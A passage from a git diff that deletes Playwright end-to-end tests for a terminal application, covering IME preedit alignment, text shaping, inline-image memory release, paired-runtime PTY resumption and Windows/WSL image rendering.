window.__paneManagers!.get(state.activeTabId!)! - manager.setTerminalGpuAcceleration(gpu) - const terminal = manager.getActivePane()!.terminal - terminal.options.fontFamily = 'monospace' - terminal.options.fontSize = options.fontSize - terminal.options.letterSpacing = options.letterSpacing - }, - { gpu, options } - ) - - for (const text of ['あ'.repeat(32), 'あアカタカナ・コーヒー', '한글中文']) { - await writeToActiveTerminal(orcaPage, `\x1b[2J\x1b[H${text}\r\n`) - await setImeComposition(arena.session, text) - const preedit = orcaPage.locator( - '.composition-view.active .xterm-composition-preedit' - ) - await expect(preedit).toHaveText(`‎${text}‎`) - - const sample = await orcaPage.evaluate(() => { - const state = window.__store!.getState() - const terminal = window - .__paneManagers!.get(state.activeTabId!)! - .getActivePane()!.terminal - const screen = terminal.element!.querySelector('.xterm-screen')! - const preedit = screen.querySelector('.xterm-composition-preedit')! - // The canvas width rounds independently of fractional WebGL cell widths. - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: xterm has no public cell-size API; the private render service is read through all-optional fields. - const cellWidth = (terminal as XtermWithRenderDimensions)._core?._renderService - ?.dimensions?.css?.cell?.width - if (cellWidth === undefined) { - throw new Error('xterm render service has no cell dimensions') - } - const line = terminal.buffer.active.getLine(terminal.buffer.active.baseY)! - const committed: { text: string; column: number; width: number }[] = [] - const end = line.translateToString(true).length - let seen = 0 - let columns = 0 - for (let column = 0; column < terminal.cols && seen < end; column++) { - const cell = line.getCell(column)! - if (cell.getWidth() > 0) { - committed.push({ text: cell.getChars(), column, width: cell.getWidth() }) - seen += cell.getChars().length - columns = column + cell.getWidth() - } - } - const starts: number[] = [] - const walker = document.createTreeWalker(preedit, NodeFilter.SHOW_TEXT) - let node: Node | null - let index = 0 - while ((node = walker.nextNode())) { - const value = node.textContent ?? '' - for (let offset = 0; offset < value.length;) { - if (value[offset] === '‎') { - offset++ - continue - } - const cellText = committed[index++]?.text - if (!cellText || !value.startsWith(cellText, offset)) { - throw new Error('Preedit text does not match the committed buffer cells') - } - const range = document.createRange() - range.setStart(node, offset) - range.setEnd(node, offset + cellText.length) - starts.push(range.getBoundingClientRect().left) - offset += cellText.length - } - } - const bounds = preedit.getBoundingClientRect() - const caret = screen.querySelector('.xterm-composition-caret')! - return { - dpr: devicePixelRatio, - webgl: Boolean(screen.querySelector('canvas')), - cellWidth, - committed, - starts: starts.map((left) => left - bounds.left), - width: bounds.width, - expectedWidth: columns * cellWidth, - caretRight: caret.getBoundingClientRect().right - bounds.left, - textareaWidth: terminal.textarea!.getBoundingClientRect().width, - underlines: Array.from( - preedit.children, - (cell) => getComputedStyle(cell).textDecorationLine - ) - } - }) - - expect(sample.dpr).toBe(dpr) - expect(sample.webgl).toBe(gpu === 'on') - // Inline runs and their container round to Chromium's 1/64px layout units. - const tolerance = Math.max(0.05, (sample.underlines.length + 1) / 64) - for (const width of [sample.width, sample.caretRight, sample.textareaWidth]) { - expect(Math.abs(width - sample.expectedWidth)).toBeLessThan(tolerance) - } - expect(sample.underlines.length).toBeLessThanOrEqual(sample.committed.length) - expect( - sample.underlines.every((decoration) => decoration.includes('underline')) - ).toBe(true) - for (const [index, cell] of sample.committed.entries()) { - expect( - Math.abs(sample.starts[index] - cell.column * sample.cellWidth) - ).toBeLessThan(tolerance) - } - if (options.fontSize === 13 && options.letterSpacing === 0 && text.startsWith('あ')) { - await testInfo.attach('preedit-cell-grid', { - body: await orcaPage.screenshot(), - contentType: 'image/png' - }) - } - await setImeComposition(arena.session, '') - } - } - await writeToActiveTerminal(orcaPage, '\x1b[2J\x1b[H\x1b[999G') - await setImeComposition(arena.session, 'あ'.repeat(8)) - await expect(orcaPage.locator('.xterm-composition-preedit')).toHaveText( - `‎${'あ'.repeat(8)}‎` - ) - const edge = await sampleMidlinePreeditOcclusion(orcaPage) - const screenRight = edge.screenRect.left + edge.screenRect.width - expect(edge.cursorColumn).toBe(edge.terminalColumns - 1) - expect(Math.abs(edge.caretRect!.right - screenRight)).toBeLessThan(1 / dpr) - expect(edge.caretRect!.left).toBeGreaterThanOrEqual(edge.screenRect.left) - expect(Math.abs(edge.textareaRect.right - screenRight)).toBeLessThan(1 / dpr) - - await orcaPage.evaluate(() => { - const state = window.__store!.getState() - const terminal = window - .__paneManagers!.get(state.activeTabId!)! - .getActivePane()!.terminal - terminal.options.fontSize = 16 - }) - await expect - .poll(async () => (await sampleMidlinePreeditOcclusion(orcaPage)).cellWidth) - .not.toBe(edge.cellWidth) - await expect - .poll(() => - orcaPage.evaluate(() => { - const state = window.__store!.getState() - const terminal = window - .__paneManagers!.get(state.activeTabId!)! - .getActivePane()!.terminal - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: xterm has no public cell-size API; the private render service is read through all-optional fields. - const cellWidth = (terminal as XtermWithRenderDimensions)._core?._renderService - ?.dimensions?.css?.cell?.width - if (cellWidth === undefined) { - throw new Error('xterm render service has no cell dimensions') - } - const preedit = terminal.element!.querySelector('.xterm-composition-preedit')! - return Math.abs(preedit.getBoundingClientRect().width - 16 * cellWidth) - }) - ) - .toBeLessThan(0.05) - await setImeComposition(arena.session, '') - completed = true - } finally { - await closeTerminalImePaneArena(arena, testInfo, 'preedit-cell-grid', !completed) - } - }) - }) - } -} - -test('preserves native shaping for mixed text, complex scripts, and emoji', async ({ - orcaPage -}, testInfo) => { - const arena = await openTerminalImePaneArena(orcaPage) - let completed = false - try { - await orcaPage.evaluate(() => { - const state = window.__store!.getState() - const terminal = window.__paneManagers!.get(state.activeTabId!)!.getActivePane()!.terminal - terminal.options.fontFamily = 'FiraCode Nerd Font, monospace' - terminal.options.fontSize = 26 - }) - for (const text of [ - 'سلام', - 'क्षि', - '👩‍💻', - '🇯🇵', - 'a\u00adb', - 'ᄀ가', - '가〮', - '=>', - 'l·l', - 'か\u3099', - 'ガ', - '㊗️', - 'ffi', - 'abc XYZ', - '\u3099a' - ]) { - await writeToActiveTerminal(orcaPage, '\x1b[2J\x1b[H') - await setImeComposition(arena.session, text) - const preedit = orcaPage.locator('.composition-view.active .xterm-composition-preedit') - await expect(preedit).toHaveText(`‎${text}‎`) - const actual = await preedit.screenshot() - - // Compare against the original single-text-node browser rendering. - await preedit.evaluate((span: HTMLElement, text) => { - span.textContent = `‎${text}‎` - for (const property of ['width', 'white-space', 'display', 'position']) { - span.style.removeProperty(property) - } - }, text) - expect(actual, `native shaping of ${text}`).toEqual(await preedit.screenshot()) - await setImeComposition(arena.session, '') - } - completed = true - } finally { - await closeTerminalImePaneArena(arena, testInfo, 'preedit-native-shaping', !completed) - } -}) diff --git a/tests/e2e/terminal-ime-preedit-continuity.spec.ts b/tests/e2e/terminal-ime-preedit-continuity.spec.ts deleted file mode 100644 index 2d5989162a8..00000000000 --- a/tests/e2e/terminal-ime-preedit-continuity.spec.ts +++ /dev/null @@ -1,75 +0,0 @@ -import { expect, test } from './helpers/orca-app' -import { closeTerminalImePaneArena, openTerminalImePaneArena } from './terminal-ime-pane-arena' -import { setImeComposition } from './terminal-ime-cdp-composition' -import { writeToActiveTerminal } from './terminal-ime-midline-occlusion-probe' - -test('keeps the CJK prefix in place across mixed text and the layout budget', async ({ - orcaPage -}, testInfo) => { - const arena = await openTerminalImePaneArena(orcaPage) - let completed = false - try { - await orcaPage.evaluate(() => { - const state = window.__store!.getState() - const pane = window.__paneManagers!.get(state.activeTabId!)!.getActivePane()! - pane.terminal.options.fontSize = 13 - pane.terminal.options.fontFamily = 'monospace' - // Why: like font zoom, refit now; a later refit changes the cell width and shifts the baseline. - pane.fitAddon.fit() - }) - await writeToActiveTerminal(orcaPage, '\x1b[2J\x1b[H') - const prefix = 'あ'.repeat(32) - let initial: number[] | undefined - for (const suffix of [ - '', - 'a', - '', - '😀', - 'سلام', - 'क्षि', - ' あ', - ...[125, 126, 127, 128, 129, 130, 256].map((count) => 'aあ'.repeat(count)), - `${'aあ'.repeat(256)}\u3099`, - '', - 'a' - ]) { - await setImeComposition(arena.session, prefix + suffix) - const preedit = orcaPage.locator('.composition-view.active .xterm-composition-preedit') - await expect(preedit).toHaveText(`‎${prefix + suffix}‎`) - const sample = await preedit.evaluate((element) => { - const bounds = element.getBoundingClientRect() - const starts: number[] = [] - const walker = document.createTreeWalker(element, NodeFilter.SHOW_TEXT) - let node: Node | null - while ((node = walker.nextNode()) && starts.length < 32) { - const text = node.textContent ?? '' - for (let offset = 0; offset < text.length && starts.length < 32; offset++) { - if (text[offset] !== 'あ') { - continue - } - const range = document.createRange() - range.setStart(node, offset) - range.setEnd(node, offset + 1) - starts.push(range.getBoundingClientRect().left - bounds.left) - } - } - const caret = element.parentElement!.querySelector('.xterm-composition-caret')! - return { - starts, - width: bounds.width, - caretRight: caret.getBoundingClientRect().right - bounds.left - } - }) - initial ??= sample.starts - expect(sample.starts).toHaveLength(32) - for (const [index, start] of sample.starts.entries()) { - expect(start).toBeCloseTo(initial[index], 1) - } - expect(sample.caretRight).toBeCloseTo(sample.width, 1) - } - await setImeComposition(arena.session, '') - completed = true - } finally { - await closeTerminalImePaneArena(arena, testInfo, 'preedit-continuity', !completed) - } -}) diff --git a/tests/e2e/terminal-inline-images-memory.spec.ts b/tests/e2e/terminal-inline-images-memory.spec.ts deleted file mode 100644 index 57259183b2e..00000000000 --- a/tests/e2e/terminal-inline-images-memory.spec.ts +++ /dev/null @@ -1,183 +0,0 @@ -import type { Page } from '@stablyai/playwright-test' -import { writeFileSync } from 'node:fs' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - execInTerminal, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot, - waitForTerminalOutput -} from './helpers/terminal' -import { - assertInlineImagePixels, - enableInlineImages, - inlineImageProducer, - readInlineImageResources, - readInlineImageState -} from './helpers/terminal-inline-image-proof' -import { nodeTerminalCommand } from './terminal-node-command' - -const TAB_COUNT = 12 -const CYCLES = 2 - -test.use({ orcaAppExtraArgs: ['--enable-precise-memory-info'] }) - -async function activateTab(page: Page, tabId: string): Promise { - await page.evaluate((id) => window.__store!.getState().setActiveTab(id), tabId) - await expect.poll(() => page.evaluate(() => window.__store!.getState().activeTabId)).toBe(tabId) - await waitForActiveTerminalManager(page, 30_000) -} - -test('twelve image terminals release decoder and image storage across reset and close cycles', async ({ - orcaPage -}, testInfo) => { - test.setTimeout(360_000) - await waitForSessionReady(orcaPage) - const worktreeId = await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - await orcaPage.evaluate(async () => { - await window.__store!.getState().updateSettings({ terminalHiddenViewParking: false }) - }) - await enableInlineImages(orcaPage) - const baselineTabId = (await waitForPaneIdentitySnapshot(orcaPage, 1)).tabId - const producerPath = testInfo.outputPath('image-retention-producer.cjs') - writeFileSync( - producerPath, - [ - inlineImageProducer(), - 'for (let id = 100; id < 106; id++) {', - "process.stdout.write('\\x1b_Ga=t,f=32,s=1,v=1,i=' + id + ',m=1,q=2;AAAA\\x1b\\\\')", - '}', - "console.log('RETENTION_DONE_' + process.argv[2])" - ].join('\n') - ) - const cdp = await orcaPage.context().newCDPSession(orcaPage) - const samples: unknown[] = [] - const sampleHeap = async () => { - await cdp.send('HeapProfiler.collectGarbage') - return cdp.send('Runtime.getHeapUsage') - } - const baseline = await sampleHeap() - samples.push({ stage: 'baseline', heap: baseline }) - const outstandingTabs = new Set() - try { - for (let cycle = 0; cycle < CYCLES; cycle++) { - const tabs: { id: string; ptyId: string }[] = [] - for (let index = 0; index < TAB_COUNT; index++) { - const id = await orcaPage.evaluate((worktree) => { - const state = window.__store!.getState() - const tab = state.createTab(worktree, undefined, undefined, { activate: true }) - state.setActiveTab(tab.id) - state.setActiveTabType('terminal', window.__store?.getState().activeWorktreeId ?? null) - return tab.id - }, worktreeId) - outstandingTabs.add(id) - await activateTab(orcaPage, id) - const identity = await waitForPaneIdentitySnapshot(orcaPage, 1) - expect(identity.tabId).toBe(id) - const ptyId = identity.panes[0]?.ptyId - if (!ptyId) { - throw new Error('Image stress terminal did not bind its PTY') - } - tabs.push({ id, ptyId }) - await expect.poll(() => readInlineImageState(orcaPage), { timeout: 30_000 }).not.toBeNull() - const marker = `${cycle}_${index}` - await execInTerminal(orcaPage, ptyId, nodeTerminalCommand([producerPath, marker])) - await waitForTerminalOutput(orcaPage, `RETENTION_DONE_${marker}`, 30_000) - await expect.poll(async () => (await readInlineImageState(orcaPage))?.pending).toBe(2) - if (index === TAB_COUNT - 1) { - await assertInlineImagePixels(orcaPage, testInfo.outputPath(`cycle-${cycle}-images.png`)) - } - } - const loaded = await readInlineImageResources( - orcaPage, - tabs.map((tab) => tab.id) - ) - expect(loaded).toHaveLength(TAB_COUNT) - for (const resource of loaded) { - expect(resource.mounted).toBe(true) - expect(resource.addon).toBe(true) - expect(resource.images).toBeGreaterThanOrEqual(3) - expect(resource.pending).toBe(2) - expect(resource.decoderBytes).toBeGreaterThan(0) - expect(resource.decoderBytes).toBeLessThanOrEqual(32_000_000) - expect(resource.blobBytes).toBeLessThanOrEqual(32_000_000) - expect(resource.storageMB).toBeLessThanOrEqual(32) - } - samples.push({ stage: `cycle-${cycle}-loaded`, resources: loaded, heap: await sampleHeap() }) - for (const tab of tabs) { - await activateTab(orcaPage, tab.id) - await execInTerminal( - orcaPage, - tab.ptyId, - nodeTerminalCommand([ - '-e', - "process.stdout.write('\\x1bc'); console.log('RESET_' + 'DONE')" - ]) - ) - await waitForTerminalOutput(orcaPage, 'RESET_DONE', 30_000) - await expect - .poll(async () => { - const [resource] = await readInlineImageResources(orcaPage, [tab.id]) - return { - images: resource.images, - pending: resource.pending, - decoderBytes: resource.decoderBytes, - blobBytes: resource.blobBytes - } - }) - .toEqual({ images: 0, pending: 0, decoderBytes: 0, blobBytes: 0 }) - } - samples.push({ - stage: `cycle-${cycle}-reset`, - resources: await readInlineImageResources( - orcaPage, - tabs.map((tab) => tab.id) - ), - heap: await sampleHeap() - }) - await activateTab(orcaPage, baselineTabId) - for (const tab of tabs) { - await orcaPage.evaluate((id) => window.__store!.getState().closeTab(id), tab.id) - } - await expect - .poll( - async () => - ( - await readInlineImageResources( - orcaPage, - tabs.map((tab) => tab.id) - ) - ).filter((resource) => resource.mounted).length, - { timeout: 30_000 } - ) - .toBe(0) - for (const tab of tabs) { - outstandingTabs.delete(tab.id) - } - const closed = await sampleHeap() - samples.push({ stage: `cycle-${cycle}-closed`, heap: closed }) - // GC heap/backing storage catch retained owners without requiring allocator RSS to fall. - expect(closed.usedSize).toBeLessThanOrEqual(baseline.usedSize + 64_000_000) - // Require the CDP field: silently missing metrics must not remove the leak check. - expect(baseline.backingStorageSize).toBeDefined() - expect(closed.backingStorageSize).toBeDefined() - expect(closed.backingStorageSize!).toBeLessThanOrEqual( - baseline.backingStorageSize! + 32_000_000 - ) - } - } finally { - for (const id of outstandingTabs) { - await orcaPage - .evaluate((tab) => window.__store!.getState().closeTab(tab), id) - .catch(() => undefined) - } - writeFileSync(testInfo.outputPath('memory-measurements.json'), JSON.stringify(samples, null, 2)) - await testInfo.attach('inline-image-retention-measurements', { - body: JSON.stringify(samples, null, 2), - contentType: 'application/json' - }) - await cdp.detach() - } -}) diff --git a/tests/e2e/terminal-inline-images-paired-runtime.spec.ts b/tests/e2e/terminal-inline-images-paired-runtime.spec.ts deleted file mode 100644 index 50afb985b12..00000000000 --- a/tests/e2e/terminal-inline-images-paired-runtime.spec.ts +++ /dev/null @@ -1,336 +0,0 @@ -import { rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { RuntimeMobileSessionTabsResult } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' -import { toRemoteRuntimePtyId } from '../../src/shared/remote-runtime/remote-runtime-pty-id' -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' -import { expect, test } from './helpers/orca-app' -import { - assertInlineImagePixels, - assertKittyPlaceholderPixels, - enableInlineImages, - inlineImageProducer, - readInlineImageState -} from './helpers/terminal-inline-image-proof' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { - assertKittyFileImagePixels, - blockLocalKittyFileReads, - kittyFileImageProducer -} from './helpers/terminal-kitty-file-image-proof' -import { - createHostCliTerminal, - createRetentionFixtureDirectory, - readSink -} from './helpers/host-created-terminal-retention-oracle' -import { - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' - -async function callRuntime( - client: PairedElectronClient, - method: string, - params: unknown -): Promise { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the browser bridge returns the generic RPC result as unknown. - return client.page.evaluate( - async ({ selector, method, params }) => { - const response = await window.api.runtimeEnvironments.call({ - selector, - method, - params, - timeoutMs: 30_000 - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { selector: client.environmentId, method, params } - ) as Promise -} - -async function expectProtocolPixels( - client: PairedElectronClient, - tabId: string, - marker: string, - screenshotPath: string, - terminalHandle: string -) { - await expect - .poll( - () => - client.page.evaluate( - (id) => - window.__paneManagers?.get(id)?.getActivePane()?.serializeAddon?.serialize() ?? '', - tabId - ), - { timeout: 45_000 } - ) - .toContain(`LIVE:${marker}:`) - await assertInlineImagePixels(client.page, screenshotPath) - await assertKittyPlaceholderPixels(client.page, `${screenshotPath}.placeholders.png`) - await expect - .poll(() => readInlineImageState(client.page)) - .toMatchObject({ images: 4, pending: 0, decoderBytes: 0 }) - await callRuntime(client, 'terminal.send', { - terminal: terminalHandle, - text: `FILES_${marker}`, - enter: true - }) - await assertKittyFileImagePixels( - client.page, - `${screenshotPath}.file.png`, - marker.endsWith('AFTER') ? 'magenta' : 'cyan' - ) -} - -test('@headful paired runtime paints inline images and resumes the same PTY after host restart', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const scratch = createRetentionFixtureDirectory() - const fixturePath = path.join(scratch, 'paired-inline-image-fixture.mjs') - const sinkPath = path.join(scratch, 'fixture.log') - const host = await launchHeadlessPairedRuntimeHost({ pinnedServePort: true }) - let client: PairedElectronClient | undefined - let liveHandle: string | undefined - try { - const added = await host.client.call<{ repo: { id: string } }>('repo.add', { - path: testRepoPath, - kind: 'folder' - }) - let worktreeId = '' - await expect - .poll( - async () => { - const listed = await host.client.call<{ worktrees: { id: string }[] }>('worktree.list', { - repo: `id:${added.result.repo.id}` - }) - worktreeId = listed.result.worktrees[0]?.id ?? '' - return worktreeId - }, - { timeout: 30_000 } - ) - .not.toBe('') - client = await launchPairedElectronClient(host.offer, testInfo, 'paired-inline-images') - const viewer = client - await blockLocalKittyFileReads(viewer.app) - writeFileSync( - fixturePath, - [ - "import { appendFileSync, writeFileSync } from 'node:fs'", - 'const record = line => appendFileSync(process.argv[2], line + "\\n")', - 'record(`READY:${process.pid}`)', - 'process.stdout.write(`READY:${process.pid}\\r\\n`)', - `function emitImages() { ${inlineImageProducer(true)} }`, - `function emitFileBefore() { ${kittyFileImageProducer(JSON.stringify(`${fixturePath}.png`), 'cyan')} }`, - `function emitFileAfter() { ${kittyFileImageProducer(JSON.stringify(`${fixturePath}.png`), 'magenta')} }`, - 'let pending = ""', - 'process.stdin.setEncoding("utf8")', - 'process.stdin.on("data", data => {', - 'pending += data', - 'const lines = pending.split(/\\r\\n|\\r|\\n/)', - 'pending = lines.pop() ?? ""', - 'for (const line of lines) {', - 'if (line.startsWith("PING_")) { process.stdout.write(`PONG:${line}\\r\\n`); continue }', - 'if (line.startsWith("FILES_")) { line.endsWith("AFTER") ? emitFileAfter() : emitFileBefore(); continue }', - 'if (!line.startsWith("IMAGES_")) continue', - 'record(`LIVE:${line}:${process.pid}`)', - 'emitImages()', - 'process.stdout.write(`LIVE:${line}:${process.pid}\\r\\n`)', - '}})', - 'process.stdin.resume()' - ].join('\n') - ) - writeFileSync(sinkPath, '') - const terminal = await createHostCliTerminal( - (method, params) => callRuntime(viewer, method, params), - worktreeId, - fixturePath, - sinkPath - ) - liveHandle = terminal.handle - const tabId = toWebTerminalSurfaceTabId(terminal.tabId) - await expect - .poll( - () => - viewer.page.evaluate( - (id) => - window.__store - ?.getState() - .allWorktrees() - .some((w) => w.id === id), - worktreeId - ), - { timeout: 60_000 } - ) - .toBe(true) - await viewer.page.evaluate( - ({ environmentId, worktreeId }) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(worktreeId, `runtime:${environmentId}`) - }, - { environmentId: viewer.environmentId, worktreeId } - ) - const tab = viewer.page.locator(`[data-testid="sortable-tab"][data-tab-id="${tabId}"]`) - await expect(tab).toBeVisible({ timeout: 60_000 }) - await tab.click() - await expect - .poll(() => viewer.page.evaluate((id) => window.__paneManagers?.has(id), tabId), { - timeout: 60_000 - }) - .toBe(true) - await enableInlineImages(viewer.page) - await callRuntime(viewer, 'terminal.send', { - terminal: liveHandle, - text: 'IMAGES_BEFORE', - enter: true - }) - await expectProtocolPixels( - viewer, - tabId, - 'IMAGES_BEFORE', - testInfo.outputPath('paired-images-before-restart.png'), - terminal.handle - ) - const readyLines = readSink(sinkPath) - .split(/\r?\n/) - .filter((line) => line.startsWith('READY:')) - expect(readyLines).toHaveLength(1) - const initialHostPid = host.app.process().pid - await host.restartServeProcess() - expect(host.app.process().pid).not.toBe(initialHostPid) - await expect - .poll( - async () => { - const listed = await host.client.call( - 'session.tabs.list', - { worktree: `id:${worktreeId}` } - ) - const surface = listed.result.tabs.find( - (t) => - t.type === 'terminal' && - t.parentTabId === terminal.tabId && - t.leafId === terminal.leafId && - t.ptyId === terminal.ptyId - ) - if (surface?.type !== 'terminal' || surface.status !== 'ready' || !surface.terminal) { - return false - } - liveHandle = surface.terminal - return true - }, - { timeout: 90_000 } - ) - .toBe(true) - await viewer.page.evaluate( - ({ environmentId, worktreeId }) => { - const state = window.__store?.getState() - state?.setActiveWorktree(worktreeId, `runtime:${environmentId}`) - state?.setActiveView('terminal') - }, - { environmentId: viewer.environmentId, worktreeId } - ) - await expect(tab).toBeVisible({ timeout: 60_000 }) - await tab.click() - if (!liveHandle) { - throw new Error('Replacement host did not publish a terminal handle') - } - const remotePtyId = toRemoteRuntimePtyId(liveHandle, viewer.environmentId) - await expect - .poll( - () => - viewer.page.evaluate( - (id) => window.__paneManagers?.get(id)?.getActivePane()?.container.dataset.ptyId, - tabId - ), - { timeout: 60_000 } - ) - .toBe(remotePtyId) - // RPC success precedes renderer replay completion; wait for the real input transport. - await expect - .poll( - async () => { - return viewer.page.evaluate((id) => { - const pane = window.__paneManagers?.get(id)?.getActivePane() - if (!pane) { - return false - } - if (pane.serializeAddon.serialize().includes('PONG:PING_REATTACHED')) { - return true - } - pane.terminal.input('PING_REATTACHED\r', true) - return false - }, tabId) - }, - { timeout: 30_000, intervals: [200, 500, 1000] } - ) - .toBe(true) - await expect - .poll( - async () => { - try { - await callRuntime(viewer, 'terminal.send', { - terminal: liveHandle, - text: 'IMAGES_AFTER', - enter: true - }) - return true - } catch { - return false - } - }, - { timeout: 60_000, intervals: [500, 1000, 2000] } - ) - .toBe(true) - await expectProtocolPixels( - viewer, - tabId, - 'IMAGES_AFTER', - testInfo.outputPath('paired-images-after-restart.png'), - liveHandle - ) - expect(readSink(sinkPath)).toContain(`LIVE:IMAGES_AFTER:${terminal.pid}`) - expect( - readSink(sinkPath) - .split(/\r?\n/) - .filter((line) => line.startsWith('READY:')) - ).toEqual(readyLines) - expect(await viewer.getDirectSshAttemptTargetIds()).toEqual([]) - } catch (error) { - if (client) { - const state = await client.page.evaluate(() => ({ - activeTabId: window.__store?.getState().activeTabId, - activeWorktreeId: window.__store?.getState().activeWorktreeId, - panes: Array.from(window.__paneManagers?.entries() ?? []).map(([tabId, manager]) => { - const pane = manager.getActivePane() - return { - tabId, - ptyId: pane?.container.dataset.ptyId, - connected: pane?.container.isConnected, - tail: pane?.serializeAddon.serialize().slice(-400) - } - }), - renderedTabs: Array.from(document.querySelectorAll('[data-testid="sortable-tab"]')).map( - (tab) => tab.getAttribute('data-tab-id') - ) - })) - await testInfo.attach('paired-terminal-failure-state', { - body: JSON.stringify(state, null, 2), - contentType: 'application/json' - }) - } - throw error - } finally { - if (client && liveHandle) { - await callRuntime(client, 'terminal.closeTab', { terminal: liveHandle }).catch( - () => undefined - ) - } - await client?.dispose() - await host.dispose() - rmSync(scratch, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/terminal-inline-images-windows.spec.ts b/tests/e2e/terminal-inline-images-windows.spec.ts deleted file mode 100644 index d4c733d053a..00000000000 --- a/tests/e2e/terminal-inline-images-windows.spec.ts +++ /dev/null @@ -1,106 +0,0 @@ -import { randomUUID } from 'node:crypto' -import { writeFileSync } from 'node:fs' -import path from 'node:path' -import { expect, test } from './helpers/orca-app' -import { ensureTerminalVisible, waitForSessionReady } from './helpers/store' -import { - execInTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForTerminalOutput -} from './helpers/terminal' -import { - assertInlineImagePixels, - assertKittyPlaceholderPixels, - enableInlineImages, - inlineImagePayload -} from './helpers/terminal-inline-image-proof' -import { getFirstWslDistro, useWslRuntimeForActiveProject } from './helpers/wsl-golden-stub-agent' -import { nodeTerminalCommand } from './terminal-node-command' -import { proveWindowsKittyFileImage } from './helpers/terminal-kitty-file-image-proof' - -test.skip(process.platform !== 'win32', 'Native Windows and WSL PTY coverage') - -for (const runtime of ['native', 'wsl'] as const) { - for (const acceleration of ['off', 'on'] as const) { - test(`@headful ${runtime}, ${acceleration}: PTY images and Kitty placeholders render on Windows`, async ({ - orcaPage, - testRepoPath - }, testInfo) => { - await waitForSessionReady(orcaPage) - await ensureTerminalVisible(orcaPage) - await orcaPage.evaluate(async (policy) => { - await window.__store!.getState().updateSettings({ terminalGpuAcceleration: policy }) - }, acceleration) - if (runtime === 'wsl') { - const distro = await getFirstWslDistro(orcaPage) - expect(distro, 'This Windows verification requires an installed WSL distro').not.toBeNull() - if (!distro) { - throw new Error('No WSL distro available') - } - await useWslRuntimeForActiveProject(orcaPage, distro) - } else { - await orcaPage.evaluate(async () => { - await window - .__store!.getState() - .updateSettings({ terminalWindowsShell: 'powershell.exe' }) - }) - } - const tabId = await orcaPage.evaluate(() => { - const state = window.__store!.getState() - const worktreeId = state.activeWorktreeId - if (!worktreeId) { - throw new Error('Missing verification worktree') - } - const tab = state.createTab(worktreeId) - window.__store!.getState().setActiveTab(tab.id) - window.__store!.getState().setActiveTabType('terminal', worktreeId) - return tab.id - }) - await expect( - orcaPage.locator(`[data-tab-id="${tabId}"] [data-shell-icon]`).first() - ).toHaveAttribute('data-shell-icon', runtime === 'wsl' ? 'wsl.exe' : 'powershell.exe') - await waitForActiveTerminalManager(orcaPage, 30_000) - await enableInlineImages(orcaPage) - await expect - .poll(() => - orcaPage.evaluate(() => { - const tab = window.__store!.getState().activeTabId - const manager = tab && window.__paneManagers?.get(tab) - const pane = manager && manager.getActivePane() - return Boolean(manager && pane && manager.hasWebglRenderer(pane.id)) - }) - ) - .toBe(acceleration === 'on') - const ptyId = await waitForActivePanePtyId(orcaPage) - const marker = 'WINDOWS_INLINE_IMAGES_DONE' - const rawPayload = `${inlineImagePayload(true)}${marker}\r\n` - const payload = Buffer.from(rawPayload).toString('base64') - // Stage a file: the command is typed before WSL bash reaches readline, where cooked TTY input truncates ~25KB lines at 4095 bytes. - const payloadFile = `.orca-inline-images-${randomUUID()}.bin` - if (runtime === 'wsl') { - writeFileSync(path.join(testRepoPath, payloadFile), rawPayload) - } - const command = - runtime === 'wsl' - ? `cat ${payloadFile}; rm -f ${payloadFile}; printf 'WSL_IMAGE_PROTOCOL=%s\\n' "$ORCA_IMAGE_PROTOCOL"` - : nodeTerminalCommand(['-e', `process.stdout.write(Buffer.from('${payload}', 'base64'))`]) - await execInTerminal(orcaPage, ptyId, command) - await waitForTerminalOutput(orcaPage, marker, 30_000) - if (runtime === 'wsl') { - await waitForTerminalOutput(orcaPage, 'WSL_IMAGE_PROTOCOL=kitty', 30_000) - } - await assertInlineImagePixels(orcaPage, testInfo.outputPath('windows-inline-protocols.png')) - await assertKittyPlaceholderPixels( - orcaPage, - testInfo.outputPath('windows-inline-placeholders.png') - ) - await proveWindowsKittyFileImage( - orcaPage, - ptyId, - runtime, - testInfo.outputPath('windows-file-placeholders.png') - ) - }) - } -} diff --git a/tests/e2e/terminal-inline-tui-reveal-convergence.spec.ts b/tests/e2e/terminal-inline-tui-reveal-convergence.spec.ts deleted file mode 100644 index 47af4184f87..00000000000 --- a/tests/e2e/terminal-inline-tui-reveal-convergence.spec.ts +++ /dev/null @@ -1,664 +0,0 @@ -import { readFileSync } from 'node:fs' -import path from 'node:path' -import { PNG } from 'pngjs' -import type { ElectronApplication, Page, TestInfo } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { - ensureTerminalVisible, - getActiveTabId, - switchToOtherWorktree, - switchToWorktree, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { - sendToTerminal, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' -import { waitForTabParked } from './helpers/terminal-hidden-parking' - -// v1.4.144-rc.4: streaming inline Codex revealed blank/stale until resize; alt-screen parking tests missed the inline path. -// Across gate/park boundaries require a bottom-anchored advancing live frame/input box and xterm/fit/applied-PTY size agreement without resize. - -const PARKING_DELAY_MS = Number(process.env.ORCA_E2E_TERMINAL_PARKING_DELAY_MS) || 500 - -test.use({ - orcaAppExtraEnv: { ORCA_E2E_TERMINAL_PARKING_DELAY_MS: String(PARKING_DELAY_MS) } -}) - -const FIXTURE_PATH = path.join(__dirname, 'fixtures', 'codex-inline-live-block-fixture.cjs') -const FRAME_RE = 